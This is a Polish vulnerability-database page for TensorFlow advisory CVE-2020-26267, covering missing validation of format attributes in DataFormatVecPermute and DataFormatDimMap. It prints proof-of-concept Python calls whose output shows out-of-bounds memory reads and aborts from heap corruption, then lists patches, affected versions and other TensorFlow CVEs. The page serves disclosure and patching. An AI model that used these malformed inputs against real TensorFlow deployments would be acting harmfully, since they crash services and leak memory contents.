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Lack of validation in data format attributes in TensorFlow

  • Ujawniono: 10.12.2020
  • Aktualizacja: 11.10.2026 15:17

Impact

The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

python
>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], 
                                    src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           
                                    src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
       [71365824,        0],
       [     560,        0],
       [      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], 
                                    src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted

A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:

python
>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
       [1852793646, 1852793646],
       [1954047348, 1954047348],
       [1852793632, 1852793632]], dtype=int32)>

Patches

We have patched the issue in GitHub commit ebc70b7a592420d3d2f359e4b1694c236b82c7ae and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.

Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) tensorflow < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2
Python (PyPI) tensorflow-cpu < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2
Python (PyPI) tensorflow-gpu < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2

Odnośniki

Ocena CVSS 4.4/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Słabość (CWE)
CWE-125
Platforma
Python (PyPI)
Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu
Ujawniono
10.12.2020
Aktualizacja
11.10.2026 15:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2020-140 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2020-298 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2020-333 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-c9f3-9wfr-wgh7 - CC BY 4.0

Historia podatności: tensorflow-cpu

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (430) w archiwum
Wszystkich wpisów
430
Pierwsza → ostatnia
04.2019 07.2024
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 6
  • Wysoka 111
  • Średnia 208
  • Niska 105

Ujawnienia w latach

Istotność:
  1. Lack of validation in data format attributes in TensorFlow ten wpis
    Niska · 4.4 CVE-2020-26267 < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2
  2. TensorFlow has segfault in array_ops.upper_bound
    Wysoka · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
    Wysoka · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`
    Wysoka · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. TensorFlow vulnerable to integer overflow in EditDistance
    Wysoka · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. TensorFlow has Null Pointer Error in TensorArrayConcatV2
    Wysoka · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. TensorFlow has Heap-buffer-overflow in AvgPoolGrad
    Wysoka · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  8. TensorFlow has Null Pointer Error in SparseSparseMaximum
    Wysoka · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  9. TensorFlow has Floating Point Exception in AudioSpectrogram
    Wysoka · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  10. TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
    Krytyczna · 9.8 CVE-2023-25668 < 2.11.1 2.11.1
  11. TensorFlow has Floating Point Exception in AvgPoolGrad with XLA
    Wysoka · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  12. TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
    Wysoka · 7.5 CVE-2023-25670 < 2.11.1 2.11.1
  13. TensorFlow has segmentation fault in tfg-translate
    Wysoka · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  14. TensorFlow has Null Pointer Error in LookupTableImportV2
    Wysoka · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  15. TensorFlow has Floating Point Exception in TensorListSplit with XLA
    Wysoka · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  16. TensorFlow has Null Pointer Error in RandomShuffle with XLA enable
    Wysoka · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  17. TensorFlow has Segfault in Bincount with XLA
    Wysoka · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  18. TensorFlow has null dereference on ParallelConcat with XLA
    Wysoka · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  19. TensorFlow has double free in Fractional(Max/Avg)Pool
    Wysoka · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  20. TensorFlow has Floating Point Exception in TFLite in conv kernel
    Wysoka · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  21. TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad
    Wysoka · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  22. Out of bounds write in grappler in Tensorflow
    Wysoka · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  23. FractionalMaxPool and FractionalAVGPool heap out-of-bounds acess
    Wysoka · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  24. TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite
    Wysoka · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  25. TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite
    Wysoka · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  26. Code injection in `saved_model_cli` in TensorFlow
    Wysoka · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  27. Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow
    Wysoka · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  28. NULL Pointer Dereference and Access of Uninitialized Pointer in TensorFlow
    Krytyczna · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  29. Improper Validation of Integrity Check Value in TensorFlow
    Wysoka · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  30. Out of bounds read in Tensorflow
    Wysoka · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  31. Read and Write outside of bounds in TensorFlow
    Wysoka · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  32. Insecure temporary file in Tensorflow
    Wysoka · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  33. Out of bounds read in Tensorflow
    Wysoka · 8.1 CVE-2022-23592 >= 2.7.0, < 2.8.0 2.8.0
  34. Stack overflow in TensorFlow
    Wysoka · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  35. Out of bounds read and write in Tensorflow
    Wysoka · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  36. Uninitialized variable access in Tensorflow
    Wysoka · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  37. Integer overflow in Tensorflow
    Wysoka · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  38. Out of bounds write in TFLite
    Wysoka · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  39. Integer overflow in TFLite
    Wysoka · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  40. Out of bounds write in Tensorflow
    Wysoka · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  41. Use after free in `DecodePng` kernel
    Wysoka · 7.6 CVE-2022-23584 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  42. Integer overflow in TFLite array creation
    Wysoka · 7.6 CVE-2022-23558 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  43. Integer overflow in TensorFlow
    Wysoka · 8.8 CVE-2022-23587 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  44. Heap overflow in Tensorflow
    Wysoka · 7.6 CVE-2022-21740 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  45. Division by zero in TFLite
    Wysoka · 6.5 CVE-2022-21741 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  46. Null pointer dereference in TensorFlow
    Wysoka · 6.5 CVE-2022-21739 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  47. Assertion failure based denial of service in Tensorflow
    Wysoka · 6.5 CVE-2022-21737 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  48. Integer overflow leading to crash in Tensorflow
    Wysoka · 6.5 CVE-2022-21738 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  49. `CHECK`-fails when building invalid tensor shapes in Tensorflow
    Wysoka · 6.5 CVE-2022-23569 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  50. Overflow and uncaught divide by zero in Tensorflow
    Wysoka · 6.5 CVE-2022-21729 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  51. `CHECK`-failures in Tensorflow
    Wysoka · 6.5 CVE-2022-21734 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  52. Division by zero in Tensorflow
    Wysoka · 6.5 CVE-2022-21735 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  53. Undefined behavior in `SparseTensorSliceDataset`
    Wysoka · 7.6 CVE-2022-21736 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  54. Type confusion leading to segfault in Tensorflow
    Wysoka · 6.5 CVE-2022-21731 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  55. Integer overflows in Tensorflow
    Wysoka · 6.5 CVE-2022-23567 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  56. Integer overflows in Tensorflow
    Wysoka · 6.5 CVE-2022-23568 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  57. Out of bounds read in Tensorflow
    Wysoka · 8.1 CVE-2022-21726 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  58. Out of bounds read in Tensorflow
    Wysoka · 8.1 CVE-2022-21728 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  59. Integer overflow in Tensorflow
    Wysoka · 7.6 CVE-2022-21727 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  60. Out of bounds read in Tensorflow
    Wysoka · 8.1 CVE-2022-21730 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  61. Access to invalid memory during shape inference in `Cudnn*` ops
    Wysoka · 7.8 CVE-2021-41221 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  62. Use after free / memory leak in `CollectiveReduceV2`
    Wysoka · 7.8 CVE-2021-41220 >= 2.6.0, < 2.6.1 2.6.1
  63. Incomplete validation in boosted trees code
    Krytyczna · 9.3 CVE-2021-41208 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  64. Incomplete validation of shapes in multiple TF ops
    Wysoka · 7.0 CVE-2021-41206 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  65. Undefined behavior via `nullptr` reference binding in sparse matrix multiplication
    Wysoka · 7.8 CVE-2021-41219 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  66. Reference binding to `nullptr` in `tf.ragged.cross`
    Wysoka · 7.8 CVE-2021-41214 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  67. Heap OOB read in `tf.ragged.cross`
    Wysoka · 7.1 CVE-2021-41212 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  68. Heap OOB in shape inference for `QuantizeV2`
    Wysoka · 7.1 CVE-2021-41211 >= 2.6.0, < 2.6.1 2.6.1
  69. Missing validation during checkpoint loading
    Wysoka · 7.8 CVE-2021-41203 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  70. Heap OOB read in `tf.raw_ops.SparseCountSparseOutput`
    Wysoka · 7.1 CVE-2021-41210 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  71. Unitialized access in `EinsumHelper::ParseEquation`
    Wysoka · 7.8 CVE-2021-41201 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  72. Heap OOB in nested `tf.map_fn` with `RaggedTensor`s
    Wysoka · 7.1 CVE-2021-37679 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  73. Arbitrary code execution due to YAML deserialization
    Wysoka · 9.3 CVE-2021-37678 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  74. Incomplete validation in MKL requantization
    Wysoka · 7.8 CVE-2021-37665 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  75. Incomplete validation in `QuantizeV2`
    Wysoka · 7.8 CVE-2021-37663 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  76. Null pointer dereference in TFLite MLIR optimizations
    Wysoka · 7.8 CVE-2021-37689 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  77. Null pointer dereference in TFLite
    Wysoka · 7.8 CVE-2021-37688 >= 2.5.0, < 2.5.1, >= 2.4.0, < 2.4.3, < 2.3.4 2.5.1, 2.4.3, 2.3.4
  78. NPE in TFLite
    Wysoka · 7.8 CVE-2021-37681 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  79. Reference binding to nullptr in shape inference
    Wysoka · 7.8 CVE-2021-37676 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  80. Reference binding to nullptr in map operations
    Wysoka · 7.8 CVE-2021-37671 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  81. Reference binding to nullptr in unicode encoding
    Wysoka · 7.8 CVE-2021-37667 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
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  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Polityka prywatności

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